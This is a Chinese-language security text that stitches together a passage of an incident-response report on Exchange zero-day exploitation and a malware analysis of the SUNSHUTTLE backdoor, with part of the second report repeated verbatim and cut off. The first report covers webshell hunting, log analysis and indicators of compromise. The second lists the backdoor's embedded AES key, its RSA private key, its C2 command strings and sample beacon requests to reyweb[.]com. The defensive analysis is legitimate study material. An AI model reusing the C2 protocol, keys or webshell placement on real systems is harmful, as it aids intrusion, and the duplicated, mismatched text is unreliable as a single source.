我们可以通过终端窗口中的实时响应工具来分析这些文件,也可以下载这些文件进行进一步的离线分析。在确定目标后,我们就可以深入研究这些文件,以获取其他上下文呢信息,如下图所示。

在此处观察到的写入时间相似的其他文件实际上与Exchange更新相关,并且是合法文件。

其他EAM详细信息:

在初步调查完成后,我们将工作方向转变为遏制和补救。

0x04 消除威胁

当涉及到高度复杂、从未见过、由国家支持的攻击时,一些技术就显得不太足够,这也就是在击杀链中的每一个环节都需要引入分析专家的原因。在我们检测到后漏洞利用活动时,我们会立即按照高危应急预案进行操作,第一时间联系客户,通知受影响主机范围,并详细介绍该恶意活动。

我们最初建议采取的恢复措施之一,是使用最新的补丁对主机进行修补。但是,由于该威胁参与者使用了多个0-Day漏洞,因此没有可用的补丁程序来缓解所有问题,攻击者可以重复进行多次漏洞利用。面对这样的场景,我们仍然成功阻止了攻击者的第二次攻击尝试。

在进行安全事件响应时,应该预见到可能存在的影响因素。如果客户只有一个Exchange Server网络,其中的一台主机可以切断客户的电子邮件通信,那么此时客户可能无法接收到通过电子邮件方式发送的威胁相关信息。在这种情况下,如果能通过与客户事先商定的其他通信方式配合使用,就可以迅速将事件通知到客户,并持续、即使地向他们提供更多信息和建议。

从初始检测过程中已知目录C:\inetpub\wwwroot\aspnet_client\system_web\位置开始,再到NewScriptWritten EAM事件中的匹配目录,分析人员开始在这些目录中查找潜在的Webshell。

在所有主机上,我们发现了具有与正则表达式字符串匹配的命名模式的Webshell,如下图所示。

Webshell名称符合正则表达式字符串的完整文件路径:

这些文件似乎是属于Microsoft Exchange。Server离线地址簿(OAB)配置文件,在外部URL部分似乎包含菜刀 Shell,如下图所示。

在主机上发现的Webshell,红色标记部分为类似于菜刀的脚本:

此外,在漏洞利用活动进行的同时,W3WP.EXE进程树下还包含一个CSC.EXE(C#命令行编译器)进程在磁盘上写入和编译临时DLL。

新的可执行写入和临时DLL文件路径正则表达式示例:

我们尝试恢复这些DLL。分析表明,当ASP.NET将.aspx文件编译为程序集时,通常会看到这些DLL文件。在首次访问.aspx文件时,ASP.NET会将结果程序集时复制到此临时目录中,此时会发生编译过程。

__BuildControlTree()函数示例,这是由ASP.NET运行时生成的程序集:

PageLoad()函数示例,这是由ASP.NET运行时生成的程序集:

在一个不与菜刀相似的示例中,我们发现了一个Shell,其作用是充当文件上传工具,将特定的文件写入到磁盘中。这个行为恰好与“MultiUp.aspx”的命名相符合。

不与菜刀相似的Shell:

接下来,我们继续查找和修复Webshell以及相关的DLL文件。

0x05 理解核心原因

每当我们对这类活动进行响应时,我们团队都会着重于理解已经检测到的内容以及如何对恶意活动进行遏制和补救,以确保客户受到保护。除了了解这些关键数据之外,如果能够了解漏洞利用的核心原因是非常有价值的,因为它有助于更加清楚地识别漏洞利用的发生方式,可以让我们能够实施其他保护措施,来防止进一步漏洞利用。

在消除威胁后,我们的团队就可以集中力量从主机中提取数据,以便确定其他信息并进行根本原因分析。我们的分析包括但不限于对来自主机的IIS日志文件、ECP日志文件和事件日志进行分析。

在调查任何Web漏洞利用时,Web日志都是一个有价值的信息来源。我们最开始就是从受影响的主机中提取了IIS日志,从中搜索关键特征,以尝试确认初始入侵点。正如在《2021年CrowdStrike全球威胁报告》中所讨论的,影响Microsoft Exchange Server的CVE-2020-0688是我们在2020年最常观察到的漏洞利用之一。

自然,我们首先以CVE-2020-0688作为关键词来搜索漏洞利用的证据,随后发现没有证据表明该漏洞已经被利用。此外,我们检查了主机的补丁安装情况,发现某些受到入侵的主机似乎已经更新了最新的Exchange补丁。

随后,我们开始调查其他潜在漏洞,包括最近发现和修复的Microsoft Exchange Server服务器欺骗漏洞CVE-2021-24085(可以用于特权提升)。这个漏洞的PoC代码在2月15日公开。

在IIS日志中,如果搜索与CVE-2021-24085相关的关键词,可能会找到一些有趣的结果,特别是对DDIService.svc的POST。

但是,在日志中看到的这些POST似乎不是对CVE-2021-24085的利用,特别是,目前我们没有看到其他指向CVE-2021-24085 CSRF Token生成(和之后的特权提升)过程的相关证据。

现在,我们掌握了两个事实。首先,从主机上发现的Webshell似乎是Microsoft Exchange Server离线通信簿(OAB)配置文件,在其“外部URL”部分包含类似于菜刀的Shell。其次,设置OABVirtualDirectory的DDIService.svc/SetObject的POST与我们已知的任意漏洞都不匹配,我们开始怀疑可能存在0-Day漏洞利用。

通过查看这些文件的写入时间戳,我们在多个客户的IIS日志中发现了一个共同之处,表明该日志可能与漏洞利用活动相关。

在对IIS日志进行分析的过程中,我们发现了对单个字母JavaScript文件的POST,这显然是不常见的行为。POST似乎是漏洞利用链中将Webshell写入主机的核心部分。不过我们没有从任何一台主机上收集到y.js的样本来确定这个文件的用途。

与DLL和Webshell文件写入的时间戳相对应的日志模式:

此外,在IIS日志中还有一些线索,展示了攻击者对Webshell的POST请求。这些POST对应我们在攻击活动的初始检测中所看到的命令执行。

至此,我们知道在漏洞利用过程中,会更新OABVirtualDirectory ExternalURL字段,以放入类似于菜刀的Webshell。事后看来,这可能涉及到PowerShell命令行开关“Set-OabVirtualDirectory”。

我们接下来着手于收集W3WP(IIS)进程的内存转储,以尝试恢复y.js文件或任何其他工件,从而发现最初漏洞利用的细节。我们最终从收集到的内存转储中提取了以下工件。

来自W3WP内存转储的数据:

解码后,我们得到了将初始命令传递到已投放的Webshell的证据。

解码后的数据:

在继续积极进行响应和补救的同时,我们继续分析了来自Exchange服务器的其他日志,以进一步了解我们观察到的内容。

在此过程中,我们查看了应用程序事件日志,并找到了其他日志源,从而有助于我们对漏洞利用进行更全面的了解:

事件ID 47 MSExchange控制面板:使用管理员SID,表明发生了特权提升

事件ID 4007 MSComplianceAudit:这一条目指向以下文件路径的Exchange审核日志:

“%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\LocalQueue\Exchange\”

通过对该审核日志进行分类,我们可以进一步了解漏洞利用过程,特别是以管理员帐户身份使用Set-OabVirtualDirectory通过菜刀Shell脚本修改“External URL”的Webshell投递过程。值得关注的是,该日志还体现了攻击者清理痕迹的行为,他们先使用了Remove-OabVirtualDirectory命令,随后使用了另一个Set-OabVirtualDirectory命令,以将配置恢复为原始状态。这一操作的目的可能是为了避免被任何查看Exchange配置的人发现。

如果你有权访问,就可以在“MSExchange管理”事件日志中看到这些活动。

接下来,我们将重点分析ECP服务器日志。由于在IIS日志中观察到对类似于“/ecp/y.js”的URI的POST请求,因此我们转而重点分析该日志。这表明攻击者尝试绕过身份验证并远程执行代码。

在ECP服务器日志中,包含了一个嵌入外部URL之中、类似于菜刀的Webshell,它利用Set-OabVirtualDirectory cmdlet修改了离线通讯簿(OAB)虚拟目录。

ECP服务器日志:

ECP活动日志中显示了针对指向/ecp/y.js的OABVirtualDirectory的SetObject命令请求。

ECP活动日志:

将ECP服务器日志时间戳和IIS日志关联起来,我们注意到有多个HTTP POST请求源于一个VPS地址,我们现在知道漏洞利用过程类似于远程代码执行,很可能是将CVE-2021-26858和CVE-2021-27065组合利用。

IIS日志:

在我们调查的过程中,Microsoft报告了Exchange存在的4个0-Day,我们发现观察到的恶意活动与这些0-Day相关联。随后,我们向客户提供了有关如何修复以及防止再次被攻击的安全建议。

0x06 缓解措施

为了防范这类持续威胁,我们建议组织采取以下措施。

1、限制访问。Microsoft提出最初的漏洞利用涉及到“与Exchange服务器的443接口建立不受信任的连接”。因此,我们建议设置Exchange Server的Web访问限制,确保仅有受信任的内网IP可以访问,或者将其放置在通过验证才能访问的VPN之后。

2、安装Exchange补丁程序。作为及时响应,我们建议所有Exchange Server应该安装KB5000871补丁程序,该补丁程序可修复恶意活动中利用的漏洞。更多信息可以参考Microsoft Exchange团队发布的文章。

3、阻止相关的恶意IP。迄今为止,恶意活动仅利用了有限数量的IP地址。如果在防火墙上阻止这些地址,可以在一定程度上防范相同攻击者继续使用原有IP地址发动的攻击。

4、主动寻找Webshell。在这篇文章中包含了威胁指标,以帮助查找该恶意活动中攻击者可能投放的Webshell。检索Exchange或Web服务器目录中新创建或新修改的ASPX文件可能能有效识别Webshell。管理员和安全人员可以查看可用的日志,以确认是否存在可疑活动或可疑迹象。

0x07 总结

我们将持续与客户展开紧密合作,并迅速做出响应,以检测并阻止这一恶意活动,防范攻击者的入侵尝试。我们可以使用各种分析工具和技术来进一步了解威胁,并更好地保护客户,使其能够专注于业务而不会受到干扰。即使是在Microsoft Exchange四个0-Day漏洞的持续大规模利用的场景中,借助标准化的排查手段,找准突破口层层深入,我们最终也成功发现并消除了威胁。

0x08 威胁指标

IP地址:

104.248.49[.]97

161.35.1[.]207

161.35.1[.]225

157.230.221[.]198

165.232.154[.]116

167.99.239[.]29

User Agent:

Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/74.0.3729.169+Safari/537.36

python-requests/2.24.0

ExchangeServicesClient/0.0.0.0

Webshell路径:

\[IIS Install Path]\aspnet_client\

\[IIS Install Path]\aspnet_client\system_web\

\[Exchange Install Path]\FrontEnd\HttpProxy\owa\auth\

Webshell文件名:

[0-9a-zA-Z]{8}.aspx

error.aspx

Logout.aspx

OutlookJP.aspx

MultiUp.aspx

Shell.aspx

RedirSuiteServerProxy.aspx

OutlookRU.aspx

Online.aspx

Discover.aspx

OutlookEN.aspx

HttpProxy.aspx

临时DLL写入路径:

C:\Windows\Microsoft.NET\Framework64\*\Temporary ASP.NET Files\root\*\*\App_Web_[0-9a-z]{8}.dll

0x00 摘要

2020年8月,一家位于美国的实体将一个名为SUNSHUTTLE的新型后门上传到了公共恶意软件存储库。

SUNSHUTTLE是使用GoLang编写的第二阶段后门,包含一些逃避检测的功能。

我们在遭到UNC2452恶意组织入侵的受害者主机上观察到SUNSHUTTLE的存在,因此有迹象表明该恶意软件与UNC2452相关,但我们目前尚未验证该关联性。

在本文附录中包含关于MITER ATT&CK的技术(T1027、T1027.002、T1059.003、T1071.001、T1105、T1140、T1573.001)。

Microsoft在此前的一篇文章中也详细分析了这一系列恶意活动。在这里,我们要感谢Microsoft团队和其他合作伙伴在追踪这一恶意组织期间的出色合作。

0x01 威胁详情

Mandiant Threat Intelligence发现了一个新的后门程序,该后门程序由一家美国实体在2020年8月上传到公共恶意软件存储库,我们将其命名为SUNSHUTTLE。SUNSHUTTLE使用GO语言编写,可读取嵌入式或本地配置文件,并通过HTTPS与硬编码的命令与控制(C2)服务器通信,支持包括远程上传配置、文件上传、文件下载、任意命令执行在内的命令。值得注意的是,SUNSHUTTLE使用Cookie标头将值传递给C2,如果进行了相应配置,则可以从流行网站URL列表中选择来源网址,以实现与网络流量的“融合”。

通过检查SUNSHUTTLE后门文件“Lexicon.exe”(MD5:9466c865f7498a35e4e1a8f48ef1dffd),发现它是使用GoLang编写的。该文件脱壳后的MD5为86e89349fefcbdd9d2c80ca30fa85511。目前我们尚不清楚SUNSHUTTLE最初的感染媒介。该恶意软件是攻陷受害者后投递的第二阶段后门工具。

SUNSHUTTLE样本使用攻击者控制的站点“reyweb[.]com”作为C2。“reyweb[.]com”是通过NameSilo匿名注册的,这家域名提供商接受比特币付款,此前曾经被具有俄罗斯、伊朗等国家背景的APT组织用于C2域名注册。

我们在遭到UNC2452攻击的受害者主机上发现了SUNSHUTTLE,并且有迹象表明该恶意软件与UNC2452相关联,但是我们目前尚未证实该关联性。

0x02 展望与启示

新的SUNSHUTTLE后门是一个复杂的第二阶段后门,其中与C2通信的“融合”流量功能展现了一种简单而优雅的逃避检测技术。

SUNSHUTTLE将作为第二阶段的后门程序,与其他SUNBURST相关工具一起实现网络侦查的功能。

0x03 样本详情

Mandiant Threat Intelligence发现了一个SUNSHUTTLE后门样本,并将其上传到在线多重反病毒扫描服务。SUNSHUTTLE是使用GO语言编写的后门,可读取嵌入式或本地配置文件,并通过HTTPS与硬编码的命令与控制(C2)服务器通信,支持包括远程上传配置、文件上传、文件下载、任意命令执行在内的命令。

Lexicon.exe(MD5:9466c865f7498a35e4e1a8f48ef1dffd)

C2:reyweb[.]com

UNAVAILABLE(MD5:86e89349fefcbdd9d2c80ca30fa85511)

脱壳版本MD5:9466c865f7498a35e4e1a8f48ef1dffd

0x04 感染媒介

针对分析的样本,目前感染媒介尚未明确。

0x05 执行

5.1 执行摘要

SUNSHUTTLE是一个使用GoLang编写的后门程序。一旦SUNSHUTTLE被执行,将会进行以下操作:

1、确定配置设置;

2、向C2请求会话密钥;

3、从C2检索会话密钥;

4、在检索到会话密钥后,SUNSHUTTLE将开始循环请求信标的命令;

5、开始请求信标的命令;

6、解析命令并执行操作。

我们所分析的SUNSHUTTLE样本中,保留了该恶意软件使用的例程的名称,其中包括:


main.request_session_key
main.define_internal_settings
main.send_file_part
main.clean_file
main.send_command_result
main.retrieve_session_key
main.save_internal_settings
main.resolve_command
main.write_file
main.beaconing
main.wget_file
main.fileExists
main.encrypt
main.decrypt
main.random
main.removeBase64Padding
main.addBase64Padding
main.delete_empty
main.Unpad
main.GetMD5Hash
main.Pad

注意:在整个SUNSHUTTLE后门中,通过在Cookie标头中使用唯一的字符串标识符来指示正在执行的操作。同时,唯一的字符串标识符也用于验证和解析来自C2的响应内容。我们发现这些唯一的字符串值在每个编译样本中都是唯一且随机的。

5.2 初始执行

一旦执行后,SUNSHUTTLE后门就会枚举受害者的MAC地址,并将其与硬编码的MAC地址值“c8:27:cc:c2:37:5a”进行比较。如果找到匹配项,后门即退出。该MAC地址可能是Windows沙箱网络适配器的默认MAC地址。

MAC地址检查:

1.png

5.3 配置

如果检查通过,则SUNSHUTTLE后门会进入到一个名为“main_define_internal_settings”的例程,该例程将判断运行SUNSHUTTLE的目录中是否存在配置文件,如果不存在则创建该文件。在我们所分析的样本中,配置文件名是“config.dat.tmp”。使用以下密钥对配置数据进行Base64编码和AES-256加密:

hz8l2fnpvp71ujfy8rht6b0smouvp9k8

在对Base64进行解码、对AES进行解密后,样本的配置文件内容如下:

48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w

在配置中,使用“|”字符进行不同值的区分,简要描述如下。

48b9e25491e088a35105274cae0b9e67

执行期间计算出当前时间戳的MD5哈希值。

5-15

SUNSHUTTLE执行期间随机睡眠时间的最小值和最大值。

0

是否使用“融合”流量请求,内部将其称为“false_requesting”。

0

激活(activation)执行时间戳(默认为0),如果当前时间大于配置中的值,则执行“激活”或继续。

TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
8vMjAxMDAxMDEgRmlyZWZveC83NS4w

HTTP请求中使用Base64编码后的User Agent,解码后内容为:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 。

如果进行了相应配置,则在恶意软件执行过程中会利用以下URL实现流量“融合”:

https://reyweb[.]com/icon.ico
https://reyweb[.]com/icon.png
https://reyweb[.]com/script.js
https://reyweb[.]com/style.css
https://reyweb[.]com/css/style.css
https://reyweb[.]com/css/bootstrap.css
https://reyweb[.]com/scripts/jquery.js
https://reyweb[.]com/scripts/bootstrap.js
https://cdn.mxpnl[.]com/
https://cdn.google[.]com/
https://cdn.jquery[.]com/
https://code.jquery[.]com/
https://cdn.cloudflare[.]com/

5.4 会话密钥机制

SUNSHUTTLE执行对C2的初始请求,以请求并检索其内部称为“会话密钥”(Session Key)的内容。在从C2检索到会话密钥后,使用嵌入在SUNSHUTTLE中的以下私钥进行RSA解密,该密钥针对每个编译版本来说都是唯一的。我们正在分析该恶意软件如何利用解密后得到的会话密钥,不过在SUNSHUTTLE的命令与控制例程中,该密钥很可能是用于加密内容的会话密钥。

-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
-----END PRIVATE KEY---

在创建配置或从中读取配置后,SUNSHUTTLE将进入到名为“main_request_session_key”的例程。恶意软件将在这一例程上进行循环,每次循环后休眠一段时间,直到成功为止。

在“main_request_session_key”例程中,SUNSHUTTLE为其构造的C2构造一个HTTPS请求。根据请求的HTTP 200响应,预期来自C2的响应数据中不应包含以下字符串:

ywQdjLuHHC

如果该字符串不在响应中,则request_session_key例程返回1。如果该字符串包含在响应之中,则返回-1。如果request_session_key的结果为1,则SUNSHUTTLE将执行retrieve_session_key例程。

retrieve_session_key例程将再次与C2通信,并下载特定加密内容,使用上述嵌入的私钥进行解密。一旦SUNSHUTTLE进入到命令与控制例程,解密的内容很可能是用于加密内容的会话密钥。

5.5 命令

在从C2检索到会话密钥后,SUNSHUTTLE将在循环中启动信标和“resolve_command”例程。SUNSHUTTLE首先发出信标以检索命令。随后,它将进入到例程“resolve_command”之中,该例程将解析响应内容,从而确定应该运行哪个命令。可以使用的命令包括远程更新配置、上传、下载和任意命令执行。

解析命令示意图:

2.png

在“main_beaconing”例程之后,会对从C2返回的内容进行Base64解码和AES解密。这里会执行一次检查,以确认解密后的内容不包含以下字符串:

Cp5RTQ31R1

同之前的一样,这些字符串可能针对每个样本都是唯一的,并且在编译时会随机生成。

解密后的字符串内容及解析如下:

zSsP2TSJJm3a    更新睡眠时间范围并保存配置

aQJmWJzXdYK721mGBI3U    更新“false_requesting”(融合)值并保存配置

W5VYP9Iu2uyHK    更新C2 URL和用户代理并保存配置

3487wD9t2OZkvqdwRpqPeE    将当前时间戳发送到C2

ubFxROBRwfswVRWNjLC    更新配置中的“activation”时间戳并保存配置

TMuhGdA9EHY    如果文件存在,将其上传到C2

1kG4NaRX83BCMgLo38Bjq    执行命令,如果成功则返回“EXECED”

hB0upT6CUmdRaR2KVBvxrJ    执行命令,返回结果或输出

N/A(符合其他字符串条件)    提供终端命令执行

N/A(符合其他字符串条件)    从C2下载文件

0x06 投放文件

在成功执行恶意软件后,会将以下文件投递到受害者的系统中:

该文件是加密后的配置文件。

0x07 持久化方法

我们未观察到SUNSHUTTLE恶意软件具有任何持久化方法。不排除该恶意活动是在SUNSHUTTLE外部设置持久性的。

0x08 网络通信

SUNSHUTTLE使用Cookie标头将值传递给C2。此外,恶意软件会从下面的列表中选择一个来源地址。在我们解密流量并进行检查时,可能会被混淆。

www.bing.com

www.yahoo.com

www.google.com

www.facebook.com

Cookie标头根据所执行的操作而略有不同。下面是从“request_session_key”例程向C2发出的示例请求。

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip

在Cookie标头中,其不同值含义如下。

HjELmFxKJc=48b9e25491e088a35105274cae0b9e67

配置中包含的时间戳MD5。

P5hCrabkKf=gZLXIeKI

“P5hCrabkKf=”包含一个唯一的字符串,该字符串表示正在执行请求的例程(详细参考下表)。

iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx

“i4zICToyI70Yeidf1f7rWjm5foKX2Usx”是在SUNSHUTTLE后门中硬编码的值,它可能表示Payload标识符。

b7XCoFSvs1YRW=78

含义不明,此值仅包含在request_session_key和retrieve_session_key请求中。

如上所述,每个请求中包含的Cookie值“P5hCrabkKf=”都表示正在执行的操作,其对应关系如下。

gZLXIeK    main_request_session_key

do1KiqzhQ    main_clean_file

t5UITQ2PdFg5    main_wget_file

cIHiqD5p4da6OeB    main_retrieve_session_key

xpjQVt3bJzWuv    main_send_file_part

S4rgG1WifHU    main_send_command_result

在成功安装/初始化恶意软件后,它将继续通过TCP/443 HTTPS对C2服务器reyweb[.]com进行以下回调:

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.yahoo.com
Accept-Encoding: gzip

此外,如果将“fake_requesting”配置值设置为1,则SUNSHUTTLE将生成与真实流量相融合的流量。这些请求的示例如下:

(受害者主机到C2)

GET /icon.png HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到合法站点)

GET / HTTP/1.1
Host: cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip

0x09 附录:MITRE ATT&CK框架

T1027 混淆的文件或信息

T1027.002 软件加壳

T1059.003 Windows命令Shell

T1071.001 网络协议

T1105 入口工具转移

T1140 反混淆/解码文件或信息

T1573.001 对称密码学

0x0A 附录:检测技术

FireEye安全解决方案可以提供跨电子邮件、终端和网络级别的SUNSHUTTLE恶意活动检测。以下是与恶意软件相关的检测指标。

· 平台:网络安全、邮件安全、实时检测、恶意软件文件扫描、恶意软件文件存储扫描

· 检测名称:

FE_APT_Backdoor_Win64_SUNSHUTTLE_1

FE_APT_Backdoor_Win_SUNSHUTTLE_1

APT.Backdoor.Win.SUNSHUTTLE

APT.Backdoor.Win.SUNSHUTTLE.MVX

· 平台:终端安全

· 检测名称:

恶意软件防护(AV/MG)

Trojan.GenericKD.34453763

Generic.mg.9466c865f7498a35

0x00 摘要

2020年8月,一家位于美国的实体将一个名为SUNSHUTTLE的新型后门上传到了公共恶意软件存储库。

SUNSHUTTLE是使用GoLang编写的第二阶段后门,包含一些逃避检测的功能。

我们在遭到UNC2452恶意组织入侵的受害者主机上观察到SUNSHUTTLE的存在,因此有迹象表明该恶意软件与UNC2452相关,但我们目前尚未验证该关联性。

在本文附录中包含关于MITER ATT&CK的技术(T1027、T1027.002、T1059.003、T1071.001、T1105、T1140、T1573.001)。

Microsoft在此前的一篇文章中也详细分析了这一系列恶意活动。在这里,我们要感谢Microsoft团队和其他合作伙伴在追踪这一恶意组织期间的出色合作。

0x01 威胁详情

Mandiant Threat Intelligence发现了一个新的后门程序,该后门程序由一家美国实体在2020年8月上传到公共恶意软件存储库,我们将其命名为SUNSHUTTLE。SUNSHUTTLE使用GO语言编写,可读取嵌入式或本地配置文件,并通过HTTPS与硬编码的命令与控制(C2)服务器通信,支持包括远程上传配置、文件上传、文件下载、任意命令执行在内的命令。值得注意的是,SUNSHUTTLE使用Cookie标头将值传递给C2,如果进行了相应配置,则可以从流行网站URL列表中选择来源网址,以实现与网络流量的“融合”。

通过检查SUNSHUTTLE后门文件“Lexicon.exe”(MD5:9466c865f7498a35e4e1a8f48ef1dffd),发现它是使用GoLang编写的。该文件脱壳后的MD5为86e89349fefcbdd9d2c80ca30fa85511。目前我们尚不清楚SUNSHUTTLE最初的感染媒介。该恶意软件是攻陷受害者后投递的第二阶段后门工具。

SUNSHUTTLE样本使用攻击者控制的站点“reyweb[.]com”作为C2。“reyweb[.]com”是通过NameSilo匿名注册的,这家域名提供商接受比特币付款,此前曾经被具有俄罗斯、伊朗等国家背景的APT组织用于C2域名注册。

我们在遭到UNC2452攻击的受害者主机上发现了SUNSHUTTLE,并且有迹象表明该恶意软件与UNC2452相关联,但是我们目前尚未证实该关联性。

0x02 展望与启示

新的SUNSHUTTLE后门是一个复杂的第二阶段后门,其中与C2通信的“融合”流量功能展现了一种简单而优雅的逃避检测技术。

SUNSHUTTLE将作为第二阶段的后门程序,与其他SUNBURST相关工具一起实现网络侦查的功能。

0x03 样本详情

Mandiant Threat Intelligence发现了一个SUNSHUTTLE后门样本,并将其上传到在线多重反病毒扫描服务。SUNSHUTTLE是使用GO语言编写的后门,可读取嵌入式或本地配置文件,并通过HTTPS与硬编码的命令与控制(C2)服务器通信,支持包括远程上传配置、文件上传、文件下载、任意命令执行在内的命令。

Lexicon.exe(MD5:9466c865f7498a35e4e1a8f48ef1dffd)

C2:reyweb[.]com

UNAVAILABLE(MD5:86e89349fefcbdd9d2c80ca30fa85511)

脱壳版本MD5:9466c865f7498a35e4e1a8f48ef1dffd

0x04 感染媒介

针对分析的样本,目前感染媒介尚未明确。

0x05 执行

5.1 执行摘要

SUNSHUTTLE是一个使用GoLang编写的后门程序。一旦SUNSHUTTLE被执行,将会进行以下操作:

1、确定配置设置;

2、向C2请求会话密钥;

3、从C2检索会话密钥;

4、在检索到会话密钥后,SUNSHUTTLE将开始循环请求信标的命令;

5、开始请求信标的命令;

6、解析命令并执行操作。

我们所分析的SUNSHUTTLE样本中,保留了该恶意软件使用的例程的名称,其中包括:

main.request_session_key
main.define_internal_settings
main.send_file_part
main.clean_file
main.send_command_result
main.retrieve_session_key
main.save_internal_settings
main.resolve_command
main.write_file
main.beaconing
main.wget_file
main.fileExists
main.encrypt
main.decrypt
main.random
main.removeBase64Padding
main.addBase64Padding
main.delete_empty
main.Unpad
main.GetMD5Hash
main.Pad

注意:在整个SUNSHUTTLE后门中,通过在Cookie标头中使用唯一的字符串标识符来指示正在执行的操作。同时,唯一的字符串标识符也用于验证和解析来自C2的响应内容。我们发现这些唯一的字符串值在每个编译样本中都是唯一且随机的。

5.2 初始执行

一旦执行后,SUNSHUTTLE后门就会枚举受害者的MAC地址,并将其与硬编码的MAC地址值“c8:27:cc:c2:37:5a”进行比较。如果找到匹配项,后门即退出。该MAC地址可能是Windows沙箱网络适配器的默认MAC地址。

MAC地址检查:

1.png

5.3 配置

